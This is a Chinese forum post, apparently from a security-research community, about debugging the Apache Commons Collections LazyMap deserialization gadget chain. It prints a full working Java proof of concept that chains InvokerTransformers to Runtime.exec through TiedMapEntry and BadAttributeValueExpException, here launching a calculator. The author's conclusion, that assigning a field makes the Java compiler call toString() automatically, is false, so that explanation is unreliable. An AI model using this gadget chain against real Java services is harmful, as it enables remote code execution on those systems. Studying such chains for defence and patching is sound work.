ACC链一个命令执行的问题.

今天在调ACC的 LazyMap 攻击链 , 遇到一个问题 .

先放一下 POC

import  ...

public class EvalObject4 implements Serializable{
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"mate-calc"})
        };

        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("1","2");
        // 通过 lazyMap.decorate() 方法获取 LazyMap 实例对象
        Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        // 实例化
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "epicccal");
        // 实例化
        BadAttributeValueExpException ins = new BadAttributeValueExpException(null);
        Field valfield = ins.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(ins, entry);

        ByteArrayOutputStream exp = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(exp);
        oos.writeObject(ins);
        oos.flush();
        oos.close();
        ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(out);
        Object obj = (Object) ois.readObject();
        ois.close();
    }
}

在调试时发现这段代码会执行两次命令执行 , 除了在反序列化时调用 readObject() 会弹出计算器外 , 在实例化 TiedMapEntry 时同样会弹出计算器 , 分析后发现 TiedMapEntry 构造函数中 this.map = map 这一步会触发命令执行 , 但是我不明白为什么 .

请问有师傅知道原因吗? :joy:

今晚吃完饭又在研究这个问题 , 一开始以为和 JVM 有关 , 后来发现完全想复杂了 .

官方文档中 toString() 方法有提到下面这个点 .

也就是说 , 当涉及对象打印时 , Java编译器会在内部自动调用 toString() 方法 . 由于是内部自动调用 , 因此通过 IDEA 的 DEBUG 是看不到的 .

那么我就在想 , 会不会是在进行 this.map = map 时 由于传入的 map 参数非空 , 因此自动调用了 toString() 方法呢 ? 在 LazyMap 攻击链中 , 控制了 toString() 方法等于控制了命令执行 .

于是我对构造函数传入的 Map 对象进行了初始化赋值 , 赋值为 null

我们再次启动调试

可以看到这里执行完了 this.map = map , 并未弹出计算器 , 可以说明由于传入的 Map 参数为 null , 因此 java编译器并没有自动调用 toString() 方法 . 我的猜想应该是正确的 .

总结一下 , 由于最初 TiedMapEntry() 构造函数中传入的 Map 参数不为空 , 因此在进行 this.map = map 赋值时自动调用了 toString() 方法 , 触发了攻击链 , 弹出了计算器 .


下面对比一下初始化和未初始化的变量图

  1. 未初始化 , 调用 toString() 方法

  2. 初始化 , 设置 Map 参数为 null , 未调用 toString() 方法



服务器资源由ZeptoVM赞助

Partners Wiki Discord